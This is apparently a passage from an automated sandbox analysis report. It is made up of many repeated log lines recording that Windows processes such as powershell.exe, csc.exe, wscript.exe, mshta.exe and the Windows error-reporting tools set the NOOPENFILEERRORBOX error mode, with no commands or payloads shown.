Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
